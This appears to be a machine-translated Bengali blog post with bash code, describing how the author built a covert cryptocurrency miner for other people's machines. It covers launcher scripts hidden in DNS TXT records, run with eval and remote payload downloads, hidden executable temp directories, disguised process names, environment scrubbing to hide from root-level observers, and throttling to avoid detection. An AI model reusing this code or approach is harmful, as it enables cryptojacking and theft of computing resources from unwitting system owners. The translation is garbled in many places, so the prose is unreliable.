... আপনি কতদূর যেতে চান ... পেনিস?
ধরুন আপনি আমার করতে চান ক্রিপ্টোকারেন্সি রিমোট এ অপার্থিব হার্ডওয়্যার তোমাকে আমার কিছু খুঁজে বের করতে হবে। দূরবর্তী সার্ভার মানে, না এএসআইসিএস অথবা কাজের অ্যালগরিদমের জিপিইউ প্রমাণ, মূলত শুধুমাত্র CPU বন্ধুত্বপূর্ণ কয়েন.
অনুসন্ধান করুন এবং খুঁজুন a খনি , কিন্তু এটি সত্যিই সুন্দর নয়, আপনি এমন কিছু চাইবেন যা আপনি রিমোট থেকে ভালভাবে নিয়ন্ত্রণ করতে পারেন, তাই আপনি খুঁজে পান আরেকজন খনি । আপনিও চান a প্রক্সি , কারণ অনেক সংযোগ স্বল্পস্থায়ী হবে, আপনি চান না ডস আপনার খনির পুল। আরো একটি টানেল সুন্দর হবে.
কিছু বোটনেট ব্লকচেইন ডেটা ব্যবহার করে কমান্ডগুলি সন্ধান করতে, কেউ আছে বলেও মনে হয় হারানো বাজি এটি আবার ঘটছে না ... যাইহোক আমরা যে অত্যাধুনিক নই, আমরা কিছু DNS রেকর্ডের মাধ্যমে পেয়ে যাব যা একটি স্ক্রিপ্ট সঞ্চয় করে যা পেলোড টেনে নেয় যা স্বয়ংক্রিয়ভাবে একটি অস্থায়ী ডিরেক্টরিতে এক্সট্রাক্ট করে এবং ছেড়ে দেয় প্রায় এর সেটআপের কোন চিহ্ন নেই। এখানে একটি ছোট ফ্লো চার্ট রয়েছে যা কাঠামোকে চিত্রিত করে
একটি স্টার্টআপ স্ক্রিপ্টের বিন্দু হল অ্যাক্সেসযোগ্য এবং সহজেই আপডেট করা যায় যাতে এটি সময়ের পরীক্ষা সহ্য করে। আপডেট করা হচ্ছে ডিএনএস রেকর্ডগুলি সহজ, এবং DNS হল সর্বশেষ জিনিস যা একটি নেটওয়ার্কের মধ্যে বন্ধ হয়ে যায়..কারণ IP ঠিকানাগুলি মনে রাখা কঠিন ... তুমি দেখো আমরা কখন স্থাপনার স্ক্রিপ্ট আনা হচ্ছেআমরা আসলে ইতিমধ্যে কিছু যুক্তি চালাচ্ছি, এটি লঞ্চার স্ক্রিপ্ট, এটি আমাদের রেকর্ডগুলি দেখার জন্য DNS প্রশ্নগুলি সম্পাদন করার ক্ষমতা প্রয়োজন, DNS সর্বব্যাপী হতে পারে কিন্তু খনন করা এটি না.
এখানে একটু বিভ্রান্তি আছে, যদি আমাদের অন্য টুল ডাউনলোড করতে হয় প্লেলোড ডাউনলোড করার জন্য অন্য স্ক্রিপ্ট ডাউনলোড করুন আমাদের শুধু প্লেলোড ডাউনলোড করা উচিত! প্রতিরক্ষায় ... এই স্ক্রিপ্ট নৃত্যটি অস্পষ্টতা যোগ করে, লঞ্চারের শুধুমাত্র একটি বাস্তবায়ন রাখতে দেয় (রক্ষণাবেক্ষণযোগ্যতা, হ্যাঁ), বেশিরভাগ সময় প্রয়োজন হয় না .. তাই আমরা একটি পরিষেবাও দিই স্থিরভাবে সংযুক্ত ডিএনএস ক্যোয়ারী সম্পাদনের জন্য এক্সিকিউটেবল খনন করুন, স্ব -হোস্টিং, বা ক্লাউড হোস্টিং (হ্যাঁ 3 বা 4 এর মতো ফালব্যাক আছে, কারণ ক্লাউড পরিষেবাগুলির খুব কম ফ্রি ব্যান্ডউইথ রয়েছে, এবং কুকি বা অ্যাক্সেস টোকেনও প্রয়োজন ... তারা খুব স্ক্রিপ্ট বন্ধুত্বপূর্ণ, উদ্দেশ্যমূলকভাবে, অবশ্যই)।
ডিএনএস রেকর্ডে কি আছে? আমরা ব্যবহার করছি TXT রেকর্ড, একটি কাস্টম ডোমেইনে (এখানেও ফালব্যাক)। কেন TXT? তারা সবচেয়ে বেশি পরিমাণে তথ্য সংরক্ষণ করতে পারে বলে মনে হয় প্রস্তাবিত উপর নির্ভর করে জিনিস । আমরা বিশেষভাবে ব্যবহার করছি ক্লাউডফ্লেয়ার আমাদের ডিএনএস ফিডলিংয়ের জন্য যেহেতু এটি বিনামূল্যে, এবং বেশিরভাগই শহরের একমাত্র খেলোয়াড় ( ভাল না সত্যিই কিন্তু অন্য কোন বিকল্প pales বৈশিষ্ট্য বিজ্ঞ )। এটি ঘটে যে আপনি একাধিক টুকরা ডেটা সংরক্ষণ করতে পারেন একই রেকর্ড ... এটি কিছু স্পেসিফিকেশনের জন্য বিভ্রান্তিকর এবং ঝামেলা শুরু করে ... (স্পর্শকাতর) ক্লাউডফ্লেয়ার অভ্যস্ত অনুমতি দিন শৃঙ্খলিতTXT রেকর্ড মোট k 9k বাইট, ডক্স এখন ~ 2k বাইট বলে, পরিবর্তনের আগে আমি ~ 6k ব্যবহার করছিলাম, এবং স্ক্রিপ্টটি অসম্পূর্ণভাবে পরিবেশন করছিলাম, এর পরে আমাকে স্ক্রিপ্টটি পাতলা করতে হয়েছিল এবং হাতের আগে এটি সংকুচিত করতে হয়েছিল (আসলে আমি a ব্যবহার করার চেষ্টা করেছে মুক্ত প্রদানকারী, আমাকে একদিনের মধ্যে নিষিদ্ধ করা হয়েছিল, অনুমান করে যে তাদের একটি কঠোর নো-ফ্যাট TXT রেকর্ড নীতি আছে), তবে gzip কম্প্রেশন পাইপ বন্ধুত্বপূর্ণ নয় বলে মনে হচ্ছে এবং এখনও সমস্যা সৃষ্টি করছে, তাই আমাকে কম্প্রেশন ছাড়াই স্ক্রিপ্টটি ক্রাম করতে হয়েছিল ( শেষ স্পর্শক)।
আমরা কিভাবে এটি সংরক্ষণ করব? TXT রেকর্ড শুধুমাত্র আলফানিউমেরিক স্ট্রিং সমর্থন করে, না NULs , তাই আমাদের এটিকে একটি নাল এনকোডিংয়ে আবৃত করতে হবে, বেস 64 এই সীমাবদ্ধতা পূরণ করে, এবং কারণ আমরা সংরক্ষণ করছি শৃঙ্খলিত টিএক্সটি রেকর্ড, আমাদের আউটপুটটি ভাগ করতে হবে, যেহেতু আমরা শেল স্টাফ ব্যবহার করছি, এটি এর মাধ্যমে করা হয়-w
পতাকা, ব্যস্তবাক্সে এমন পতাকাটি পুরানো সংস্করণগুলিতে অনুপস্থিত (বা অপ্ট-ইন) ব্যবহৃত হত যা বিরক্তিকর ছিল, একটি বিকল্প হল ওপেনএসএসএল-এর সাথে একত্রিত এনকোডার ব্যবহার করা,openssl enc -base64
.
এখন যেহেতু আমরা জানি কিভাবে আমাদের স্থাপনার স্ক্রিপ্ট সংরক্ষণ করতে হয় আমরা এটির সাথে এটি সংরক্ষণ করি cf cli অথবা ম্যানুয়ালি। আমরা কিভাবে এটি টানতে? আমরা উল্লেখ করেছি যে আমাদের বিন্দুটিল বা আমাদের নিজস্ব প্রয়োজনdig
... পরিবেশন শেষ বিন্দু চয়ন করার পরে, আমরা এটি ডাউনলোড করতে চাই, যা পাওয়া যায় তা সাধারণত wget অথবা কার্ল , wget অনেক আগে থেকেই ইনস্টল করা পাওয়া যায়, তবে ব্যস্তবাক্স শুধুমাত্র গতিশীল লাইব্রেরিগুলির সাথে tls সমর্থন প্রদান করে, তাই আপনাকে নিশ্চিত করতে হবে যে এন্ডপয়েন্টটি http প্রদান করছে বা আপনার ইউটিলিটিwget
gnu-utils থেকে
# the wget command
wget -t 2 -T 10 -q -i- -O- > $filename <<< "$digurl"
এর অর্থ চেষ্টা করা-t2
সময় অপেক্ষা-T10
সেকেন্ড হচ্ছে-q
থেকে শান্ত পড়া-i-
stdin ($digurl
) এবং লেখা-O-
stdout ($filename
)। এই কমান্ডটি আমরা প্রথম নজরে কি ডাউনলোড করছি তা প্রকাশ করে না। আমরা একই কারণে অন্যান্য শেল কমান্ডের সাথে খুব সতর্কতা অবলম্বন করতে যাচ্ছি, অথবা শেলের সাথে লেগে আছি ( বাশ যেখানে সম্ভব অন্তর্নির্মিত। আপনি আপনার এক্সিকিউটেবলগুলি কোথায় ডাউনলোড করছেন সেদিকেও খেয়াল রাখুন, আপনি নিশ্চিত করতে চান যে আপনি সেগুলি কার্যকর করতে পারেন, যেহেতু কিছু মাউন্ট পয়েন্ট, বিশেষ করে পাত্রে এবংtmp
পথ হলnoexec
। এখন যেহেতু আমাদের কাছে আমাদের ডিএনএস অনুসন্ধানের সরঞ্জাম রয়েছে আমরা আমাদের রেকর্ডগুলি নিয়ে আসি
dig txt ${record}.${zone} +short +tcp +timeout=3 +retries=0 $dnsserver
পতাকাগুলি এখানে স্ব -ব্যাখ্যামূলক,+short
এর মানে হল যে আমরা শুধুমাত্র ডেটাতেই আগ্রহী, যাতে আমাদের আউটপুট বিশ্লেষণ করতে না হয়। ডিএনএস সার্ভার নির্দিষ্ট করা গুরুত্বপূর্ণ, যেমন গুগল (8.8.8.8
) অথবা ক্লাউডফ্লেয়ার (1.1.1.1
) কারণ অনেক পরিবেশ ডিফল্টরূপে তাদের নিজস্ব ডিএনএস সার্ভারে পুন redনির্দেশ বা প্রক্সি ডিএনএস প্রশ্ন করে। টুকরো টুকরো স্ক্রিপ্ট আনার পরে আমরা উদ্ধৃতি এবং হোয়াইটস্পেস নিয়ে কাজ করি যাতে এটি ডিকোডিংয়ের জন্য প্রস্তুত হয়
data=${data//\"} # remove quotes
data=${data// } # remove whitespace
declare -a ar_data
for l in $data; do
ar_data[${l:0:1}]=${l:1} # iterate over each line and remove the first characther
done
data=${ar_data[@]} # join all the lines
data=${data// } # ensure joining didn't add whitespace
# decode
launcher=$(echo "$launcher" | $b64 -d -w $chunksize)
এখন যদি আমরা এখনও আমাদের লঞ্চার নেই? ডিএনএস অগোছালো, আমরা একটি ফালব্যাক চাই, সরাসরি একটি লঞ্চার স্ক্রিপ্ট আনতে একটি সাবডোমেন সেটআপ করতে দেই। আমাদের স্ক্রিপ্টটি মূল্যায়নের আগে আমরা কিছু ভেরিয়েবলের সাথে এটিকে কাস্টমাইজ করতে চাই, আবার একটি TXT রেকর্ড ব্যবহার করতে পারি একটি ভেরিয়েবলের NAME = VALUE তালিকা সংরক্ষণ করতে এবং এটি বিশ্লেষণ করতে। ভেরিয়েবলের জন্য একটি ফলব্যাকও রয়েছে, ক্লাউডফ্লেয়ার ইউআরএলগুলির উপর ভিত্তি করে পুনirectনির্দেশনা প্রদান করে, এই পুনirectনির্দেশগুলি পরিবেশন করা হয় আগে গন্তব্য, তাই আমাদের একটি এন্ডপয়েন্টের প্রয়োজন নেই, আমরা শুধু একটি কাল্পনিক এন্ডপয়েন্টে regex ভিত্তিক পুনirectনির্দেশক নিয়ম কনফিগার করতে চাই, আমরা যা আগ্রহী তা হল url এর প্যারামিটার?NAME=VALUE&NAME2=VALUE2...
, যাতে আমরা পুন launনির্দেশিত ইউআরএল পরিবর্তন করে আমাদের লঞ্চারকে প্যারামেট্রাইজ করতে পারি, সর্বদা কোডের উদ্ধৃতি এবং পালানোর দিকে মনোযোগ দিয়ে
## m1 also important to stop wget
pl_vars=$(echo "$token_url" | wget -t 1 -T 3 -q -i- -S 2>&1 | grep -m1 'Location')
pl_vars=${pl_vars#*\/}
pl_vars=${pl_vars//\"&/\" }
pl_vars=${pl_vars//%3F/\?}
উইজেট-S
বিশ্লেষণের জন্য আমরা পুন redনির্দেশিত url প্রিন্ট করি। প্যারামিটার এবং স্ক্রিপ্ট থাকার কারণে, আমরা একটি ফাইলের উপর লেখা ভেরিয়েবলগুলি মূল্যায়ন করি
eval "$pl_vars"
echo "export \
$pl_vars \
$ENV_VARS \
">env.sh
এই ফাইলটি স্থাপন করা স্ক্রিপ্ট দ্বারা উত্সারিত হবে। স্টার্টআপ স্ক্রিপ্টের শেষ অংশটি প্রকৃত ট্রাম্পোলিন , বর্তমান শেল প্রক্রিয়ার মধ্যে স্ক্রিপ্টটি মূল্যায়ন করুন, অথবা সম্ভব হলে এটি tmux দ্বারা পরিচালিত হতে দিন।
# printf preserves quotes
eval "$(printf '%s' "$launcher")" &>/dev/null
# or tmux
echo "$launcher" > ".. "
tmux send-keys -t miner ". ./\".. \"" Enter
লঞ্চার স্ক্রিপ্টটি ".." নামে একটি ফাইলে ফেলে দেওয়া হয় এটি বিভ্রান্তিকর দেখায় কারণ এটি একটি হিসাবে ভুল হতে পারে পিতামাতা ডিরেক্টরি। এবং আমরা সেশন কমান্ডটি অন্তর্ভুক্ত করি না, যেহেতু এটি প্রক্রিয়া কমান্ডের মধ্যে স্থায়ী হয়, পরিবর্তে আমরা tmux সেশনটি আগে থেকেই শুরু করি এবং tmux টার্মিনাল ইন্টারফেসের মাধ্যমে সোর্স কমান্ড পাঠাই। এই সম্পর্কিত, কখনও কখনও সঙ্গে একটি এক্সিকিউটেবল কল./
কমান্ডে সেই অক্ষরগুলি রাখে, তাই এটি যোগ করা ভাল$PWD
পথের দিকে ..PATH=$PWD:$PATH
.
আমাদের স্থাপনার স্ক্রিপ্ট শুরু হয়env.sh
ফাইল, এবং হিসাবে রাখা বা কনফিগার করা varsSTARTING_*
মত পছন্দ করে
STARTING_PATH=${STARTING_PATH:-$PATH}
STARTING_PID=$BASHPID
এটি আমাদের পরিবেশ পুনরায় সেট করার সময় একটি চলমান উদাহরণকে হত্যা এবং পুনরায় চালু করতে দেয়। এক্সিকিউটিভ ক্ষমতা সহ একটি টিএমপি ডিরেক্টরিতে স্যুইচ করা যাক
# out local subdirectory
pathname=$(printf ".%-$((RANDOM%9+1))s"
for ph in {/tmp,/dev/shm,/run,/var/tmp,/var/cache,~/.local,~/.cache,~/}; do
rm -rf "$ph/$pathname" &&
mkdir -p "$ph/$pathname" &&
tmppath="$ph/$pathname" &&
is_path_executable "$tmppath" &&
export PATH="${ph}/$pathname:${PATH}" tmppath &&
break
done
[ -n "$tmppath" ] && cd "$tmppath"
ক এর মধ্যে আছে কিনা তা পরীক্ষা করা হচ্ছে ধারক এটিও সহজ, আমরা ইঙ্গিতগুলির জন্য ফাইল সিস্টেমটি পরীক্ষা করতে পারি
c=$(builtin compgen -G '/etc/cpa*')
d=$(builtin compgen -G '/dev/*')
s=$(builtin compgen -G '/sys/*')
p=$(builtin compgen -G '/proc/*')
jail=
if [ -n "$c" -o -z "$d" -o -z "$s" -o -z "$p" ]; then ## we are in a jail
jail=1
fi
এখন আমাদের পেলোড ডাউনলোড করার সময়, আমরা উইজেট এবং কার্ল উভয়কেই সমর্থন করা বেছে নিয়েছি, আমরা ইতিমধ্যে জানি কিভাবে সাবধানে পতাকা দিয়ে উইজেট ব্যবহার করতে হয়, কার্লের জন্য এটি একটু ভিন্ন। আমাদের একটি কনফিগ ফাইল তৈরি করতে হবে, এবং ওভাররাইড করতে হবেCURL_HOME
echo "url = $uri
output = ${name}${format}
connect-timeout = 10
" > .curlrc
CURL_HOME=$PWD curl -sOL
শেষ ধাপ হল শুধু পেলোড বের করা
type unzip &>/dev/null &&
format=".zip" extract="unzip -q" ||
format=".tar.gz" extract="tar xf"
পেলোড সার্ভিসিংয়ের জন্য [CDN] এর ব্যবহার উল্লেখ করার মতো। এখানে আবার উদ্ধার করার জন্য ক্লাউডফ্লেয়ার আমাদের ব্যান্ডউইথ ব্যয়ের হাত থেকে বাঁচায়। আমাদের সংকুচিত পেলোডের নাম পরিবর্তন করে কেবল a দিয়ে ফাইল এক্সটেনশন ক্লাউডফ্লেয়ার দ্বারা সমর্থিত ... এটি ক্যাশে হয়ে যায়। ক্লাউডফ্লেয়ার সার্ভিসিং এর শিরোনাম যাচাই করে না, কারণ এই স্কেলে এটি করা কেবল অবাস্তব।
ব্যাশকে পোর্টেবল বলে ধরে নেওয়া হয়েছিল, জায়গা থেকে খুব বেশি দেখায় না এবং পার্ল, রুবি বা পাইথনের অন্যান্য স্ক্রিপ্টিং ভাষার তুলনায় এটি সর্বব্যাপী। সত্য হল যে গোলং বা লুয়ায় লেখা একটি স্বতন্ত্র বাইনারি অনেক কম, বাগ সহ এবং বজায় রাখা সহজ ছিল, মূলত বাশ আমার পক্ষে সবচেয়ে খারাপ পছন্দ ছিল, যতক্ষণ না আমি ব্যাশ দিয়ে এত চুলকানি করেছিলাম , পুনর্লিখনের জন্য খুব দেরি হয়ে গিয়েছিল, এবং এটি এক ধরণের বিরক্তিকরও হয়ে উঠছিল।
কম্পাইল টাইম ফ্ল্যাগের সাথে ব্যস্তবাক্স ব্যবহার করার বিকল্পটিও ছিল সব বিল্টিন (যেমন grep এবং sed) ব্যবহার করার জন্য, তবে বিল্টইন ব্যবহার করে এইভাবে চাকরি (কাঁটাচামচ) তৈরি করতে দেয় না এবং ডেমনকে সম্ভাব্য ডেডলকগুলিতে প্রকাশ করে।
আমি এখানে কিছু ব্যাশ ফাংশন বর্ণনা করব, সম্পূর্ণ তালিকা উপলব্ধ এখানে
## echo a string long $1 of random lowercase chars
rand_string() {
local c=0
while [ $c -lt $1 ]; do
printf "\x$(printf '%x' $((97+RANDOM%25)))"
c=$((c+1))
done
}
ব্যবহারRANDOM
একটি অক্ষর কোডের সাথে সম্পর্কিত 97-122 এর মধ্যে একটি সংখ্যা পেতে ভেরিয়েবল, printf একটি বিল্টইন হওয়া উচিত, আমরা একটি লুপের মধ্যে কাঁটাচামচ করতে চাই না।
## make a new file descriptor named $1
newfd() {
eval "local fd=\${$1}"
eval "exec $fd>&-" &>/dev/null
local pp=".$(rand_string 8)"
mkfifo $pp
unset "$1"
eval "exec {$1}<>$pp"
# unlink the named pipe
rm -f $pp
}
বেনামী ফাইল বর্ণনাকারী তৈরির জন্য পাইপগুলি লিভারেজ করুন, এগুলি ঠিক ফাইল বর্ণনাকারীদের মতো আচরণ করে না কিন্তু সেগুলি যথেষ্ট ভাল আইপিসি.
## https://unix.stackexchange.com/a/407383/163931
fleep()
{
# log "fleep: called by ${FUNCNAME[1]}"
[ -n "${_snore_fd}" -a "$1" != 0 ] ||
newfd _snore_fd
# log "fleep: starting waiting with ${_snore_fd}"
if ! command >&${_snore_fd}; then
newfd _snore_fd
fi
read -t ${1:-1} -u $_snore_fd
# log "fleep: ended"
}
ফর্ক না করে ঘুমানো, রিড বিল্টিনের টাইমআউট কার্যকারিতা অপব্যবহার করে, এটি একটি ডেডিকেটেড ফাইল ডিসক্রিপ্টর ব্যবহার করে এবং আমাদের নিশ্চিত করতে হবে যে এটি বন্ধ করা এড়ানোর জন্য উপলব্ধ।
মত ফাংশন আছেget_pid_stats
, usgmon_prc
, proc_usg_u
, cpumon
, loadmon
সিস্টেম ব্যবহার পর্যবেক্ষণ করতে ব্যবহৃত হয়, এই সব লিনাক্স ব্যবহার করে/proc
যেমন সরঞ্জাম ছাড়া ফাইলps
, তাই কোন forking, সব বিশুদ্ধ bash।
start_coproc() {
local unset
while :; do
if [ "$1" = exec ]; then
coproc_name="$2"
else
coproc_name="$1"
fi
if [ -n "$UNSET_COPROC_VARS" ]; then
unset="unset $UNSET_COPROC_VARS;"
fi
log "starting coproc $coproc_name"
unset -v "$coproc_name" ## only the variable, not functions
eval "coproc $coproc_name { $unset $*; }" # 2>/dev/null
unset UNSET_COPROC_VARS
wait_coproc "$coproc_name" 3 && break
done
}
stop_coproc() {
## clear fds
id_coproc "$1" && [ -n "$job_n" ] && eval "kill -${2:-9} %$job_n" ||
{ eval "kill -${2:-9} \${${1}_PID}"; } ||
{ log "could not kill the specified coprocess with job $job_n" && return 1; }
}
বাশ থেকে কোপ্রোসেস পাওয়া যায়v4
, তারা চাকরির মতো তাদের নাম এবং তাদের নিজস্ব ফাইল বর্ণনাকারী ছাড়া।
## clear file descriptors
clear_fds() {
local fd
for fd in $(compgen -G "/proc/$BASHPID/fd/*"); do
fd=${fd/*\/}
if [[ ! " $* " =~ " ${fd} " ]]; then
case "$fd" in
0|1|2|255|"$_snore_fd")
;;
*)
eval "exec $fd>&-"
;;
esac
fi
done
}
আমরা একটি ডেমন লিখছি, যা একটি দীর্ঘস্থায়ী প্রক্রিয়া, এবং আমরা অনেক ফাইল বর্ণনাকারী ব্যবহার করছি, আমরা আসলে কিছু পরিচ্ছন্নতা করতে চাই যাতে এটি না ঘটে ulimits.
## queries ipinfo and gets the current ip and country/region
parse_ip ()
{
export ip country region;
[ ! -e cfg/geoip.json ] && log "geolocation codes file not found." && return 1;
ipquery=$(http_req ipinfo.io);
[ -z "$ipquery" ] && log "failed querying ipinfo" && return 1;
before_after 'ip\": \"' "$ipquery" '\"';
ip=$(echo $after);
[ -z "$ip" ] && log "failed parsing ipinfo data ip" && return 1;
before_after 'country\": \"' "$ipquery" '\"';
country=$(echo ${after,,});
[ -z "$country" ] && log "failed parsing ipinfo data country" && return 1;
while read l; do
if [ "${l}" != "${l/\": {}" ]; then
before_after '"' "$l" '"';
lastregion=$(echo $after);
else
if [ "${l}" != "${l/\"${country}\"}" ]; then
region=$lastregion;
break;
fi;
fi;
done < cfg/geoip.json
}
এই ফাংশন নির্ভর করে আইপিনফো কর্মীর অঞ্চল নির্ধারণ করতে, যা কিছু অঞ্চল নির্ভর যুক্তিকে সুর করতে দেয়, geoip.json দেশগুলিকে অঞ্চলভুক্ত করে, যেহেতু আমরা শীর্ষ স্তরের অঞ্চল চাই, এবং নির্দিষ্ট দেশে আগ্রহী নই।
# try to open a connection to host $1 with port $2 and output to $3
open_connection() {
exec {socket}<>/dev/tcp/${1}/${2} 2>/dev/null
echo $socket >&${3}
}
## check if a tcp connection to $1=$HOST $2=$PORT is successful
check_connection() {
local host=$1 port=$2 conn_socket=
[ -z "$host" ] && { echo 'no host provided'; return 1; }
[ -z "$port" ] && { echo 'no port provided'; return 1; }
newfd conn_socket
timeout 3 open_connection $host $port $conn_socket
# read the fd of the opened connection from the conn_socket fd and close it
read_fd $conn_socket avl -
if [ -n "$avl" ]; then
# close connection
eval "exec ${avl}<&-" &>/dev/null
return 0 ## connection can be established
else
return 1 ## connection can't be established
fi
}
বাশ টিসিপি সংযোগের জন্য সমর্থন, একটি বিমূর্ততা থাকার দ্বারা/dev/tcp
(ইউডিপির জন্যও, তবে বেশিরভাগই এটি সাধারণত নির্মাণের সময় অক্ষম বলে মনে হয়, তাই আপনি এটির উপর নির্ভর করতে পারবেন না)। এই ফাইলগুলি একটি বাশ জিনিস, এগুলি লিনাক্সের অংশ নয়/dev
গাছ
বাশ চাকরির মধ্যে সমঝোতা পরিচালনা করার জন্য একটি লকিং সিস্টেমও উল্লেখ করার মতো। একাধিক কাজকে তালা দিয়ে কাজ করার অনুমতি দেওয়ার জন্য তাদের সকলের একটি ফাইল বর্ণনাকারী ভাগ করা দরকার, তাই আমাদেরlocker
যা একটি চাকরিও, লক ব্যবহার করতে ইচ্ছুক অন্যান্য চাকরির আগে শুরু করতে হবে। লকারটি কেবল পড়ে আছেstdin
লক করার অনুরোধের জন্য অপেক্ষা করা, সাড়া দেওয়াstdout
একটি পরিবর্তনশীল সঞ্চিত বর্তমান বুলিয়ান অবস্থা উপর নির্ভর করে। আমি গ্যারান্টি দিচ্ছি না যে এই পদ্ধতিটি জাতি মুক্ত, কিন্তু অন্যদিকে, শালীনভাবে কাজ করে বলে মনে হচ্ছে, অন্যদিকে, আমি ফাইল বর্ণনাকারীদের খুব নির্ভরযোগ্য না বলে খুঁজে পেয়েছি, কারণ আমি সন্দেহ করি যে কিছু বাফার আছে যা কোথাও নিচে ফ্লাশ হয় না পাইপ এবং অবশেষে ডেডলক মারছে (যার অর্থ হল আপনি লকারের উপর নির্ভর করতে পারবেন না যা আপনাকে সব সময় উত্তর দেবে)।
## unset bash env apart excluded vars/funcs
clear_env(){
local functions=$(declare -F)
functions=${functions//declare -f }
for u in $@; do
functions=${functions/$u[[:space:]]}
functions=${functions/[[:space:]]$u}
functions=${functions/[[:space:]]$u[[:space:]]}
done
local vars=$(set -o posix; set | while read l; do echo ${l/=*}; done)
for u in $@; do
vars=${vars/$u[[:space:]]}
vars=${vars/[[:space]]$u}
vars=${vars/[[:space:]]$u[[:space:]]}
done
unset -f $functions &>/dev/null
unset -v $vars &>/dev/null
# unset $vars &>/dev/null
}
## unexport most variables
dex_env() {
exported=$(export -p)
while read e; do
n=${e/declare -*x }
[ "$n" = "$e" ] && continue ## multiline var
n=${n/=*}
case "$n" in
"SHELL"|"USER"|"HOME"|"TMUX"|"CHARSET"|"TERM")
continue
;;
*)
dexported="$dexported ${n/=*}"
esac
done <<<"$exported"
export -n $dexported
}
আপনার আবর্জনা পরিষ্কার করুন ... জটিল ব্যাশ প্রোগ্রামগুলি অনেকগুলি ভেরিয়েবল ব্যবহার করে শেষ হয় এবং যদি আপনি বিশ্বব্যাপী স্থানকে অপব্যবহার করেন তবে এটি ফুলে যায়। আপনি যদি শেল জবস তৈরি করেন, তারা সমস্ত পরিবেশের উত্তরাধিকারী হয় (যা কার্যকরভাবে নকল করা হয়, ভাগ করা হয় না), আপনি দ্রুত বাশ খাওয়া শেষ করতে পারেন100M
স্মৃতিশক্তি, সুন্দর না। এছাড়াও আমরা সত্যিই লো প্রোফাইল হতে চাই। আমাদের স্থাপনার দৃশ্যে, প্রতিপক্ষ[1] সম্ভাব্য রুট অ্যাক্সেস এবং আমাদের প্রক্রিয়া সম্পর্কে সম্পূর্ণ তথ্য থাকতে পারে[2] , এবং আপনি জানেন ... প্রতিটি প্রক্রিয়া সম্পূর্ণ কমান্ড যা এটি শুরু করেছে এবং রপ্তানি করা পরিবেশের ভেরিয়েবল সম্পর্কে তথ্য ধারণ করে।
একবার আমাদের পরিবেশ, এবং আমাদের সরঞ্জামগুলি, আমাদের মেশিনটি যে মেশিনে চলছে তার জন্য আমাদের মাইনারকে টিউন করতে হবে, ছদ্ম কোডে কনফিগারেশন ধাপগুলি:
খনির জন্য প্রক্রিয়া নাম
হোস্ট তথ্য (র্যাম/কোর/ক্যাশে/ENV_VARS
)
কনফিগারেশন সংস্করণ
worker_id
খনির জন্য (আইপি এবং হোস্ট থেকে)
সংযোগের জন্য আইপি/পোর্ট
প্রক্রিয়াটির জন্য একটি নাম নির্বাচন করা প্রয়োজন লুকান সত্য যে আমরা একটি খনি চালাচ্ছি, কিন্তু আমরা শুধু আমাদের বাইনারি নামকরণ করছি না, আমাদের একটি তালিকা আছে মুখোশ সম্ভাব্য প্রার্থীদের জন্য (একটি সাধারণ পাঠ্য ফাইল যেখানে প্রতিটি লাইন একটি মুখোশ):
এলোমেলোভাবে একটি মাস্ক বাছুন
একটি ভিন্ন প্রক্রিয়ার কমান্ড পেতে স্ট্রিংয়ের লেজের উপাদানগুলি (প্রথমটি বাদে সব) এলোমেলো করুন। এখন আমাদের মত একটি স্ট্রিং আছেcmd --arg2 --arg1 --arg3
। এটি আমাদের মাইনার মাস্ক, আমরা বাইনারি চালাই ছাড়া আর্গুমেন্ট, কিন্তু মনে হচ্ছে আমরা একটি কমান্ড শুরু করেছিcmd
যুক্তি সহ--arg1 --arg2 --arg3
। ফাইলের নামগুলিতে স্পেস এবং ড্যাশগুলি অনুমোদিত, তাই এটির মতো একটি বাইনারি চালানো ঠিক আছে, প্রক্রিয়া কমান্ডগুলি সংরক্ষণ করার সময় এটি এক্সিকিউটেবল এবং আর্গুমেন্টগুলির মধ্যে লিনাক্স পার্থক্য বলে মনে হয় না।
মাইনার কনফিগারেশন থেকে স্বয়ংক্রিয়ভাবে লোড হয়$PWD
.
সময়ের সাথে সাথে, উজানের খনি অনেক পেয়েছে স্বয়ংক্রিয় টিউনিং বৈশিষ্ট্যগুলি, তাই এটি আমার স্ক্রিপ্টগুলির অংশকে অপ্রয়োজনীয় করে তুলেছে, কিন্তু এখানে প্রবাহ এবং নিম্ন প্রবাহের মধ্যে পার্থক্য হল যে প্রবাহের লক্ষ্য সর্বাধিক করা কর্মক্ষমতা , যখন আমাদের লক্ষ্য সর্বোচ্চ করা দক্ষতা এবং অস্পষ্টতা , আমরা সিস্টেমকে ছাড়িয়ে যেতে চাই না, আমরা পরিষেবা বিঘ্নিত না করে একটু জোঁক দিতে চাই।[3]
এই জন্য, আমাদের পরিবেশ সম্পর্কে আরও দানাদার বোঝার প্রয়োজন,l2/l3
প্রসেসর, র্যাম, এবং কোর এবং বর্তমান প্রসেসরের ক্যাশে গঠন গড় লোড এবং সিপিইউ ব্যবহার। আমি একটি নির্মাণ করার চেষ্টা করেছি রাষ্ট্রযন্ত্র bash এ যেটি ন্যূনতম থেকে শুরু হবে এবং বিভিন্ন কনফিগারেশনের চেষ্টা করবে ধীরে ধীরে গড় সেরা। এটা ছিলো একটি বিশাল প্রচেষ্টার অপচয় প্রযুক্তিগত .ণ যা খুব তাড়াতাড়ি দেউলিয়া হয়ে যায় এবং বেশিরভাগই বাতিল হয়ে যায়, কোডবেসে কেবল অবশিষ্টাংশ থাকে।
এই সমস্ত অটো টিউনিং জাম্বোকে ফ্র্যাক করুন, আমরা কেবল হোস্ট ব্যবহার/লোডের উপর নির্ভর করে খনির ঘুম তৈরি করেছি, এর জন্য প্রয়োজনীয় খনি পরিবর্তনsleep
থ্রেডের মধ্যে ফলন, এবং কনফিগারেশন ওয়াচডগের কয়েকটি সংশোধন[4] , যা আমাদের রানটাইমের সময় ঘুমের পরিমাণ পুনরায় লোড করতে দেয়। যুক্তি অনেক বেশি সরলীকৃত এবং এর মত দেখাচ্ছে:
যদি ব্যবহার $ TARGET_USAGE এর উপরে/নিচে হয় (ত্রুটির মার্জিন) ঘুম বাড়ায়/কমায়
যদি গড় লোড ভিতরে1m
$ TARGET_LOAD বিরতি/পুনরায় শুরু খনির উপরে/নীচে
আমাদের ব্যাশ রাউন্ডআপে আমরা সংযোগের জন্য ইউটিলিটি দেখিয়েছি। আমাদের এসবের দরকার কেন? কারণ আমাদের বৈচিত্র্য দরকার; কনফিগারেশনে একটি এন্ডপয়েন্টকে কেবল কঠিন কোডিং দীর্ঘস্থায়ী করবে না, যখন কিছু সন্দেহজনক মনে হয় এবং নেটওয়ার্ক কার্যকলাপ থাকে, আইপিগুলি পতাকাঙ্কিত হয়।
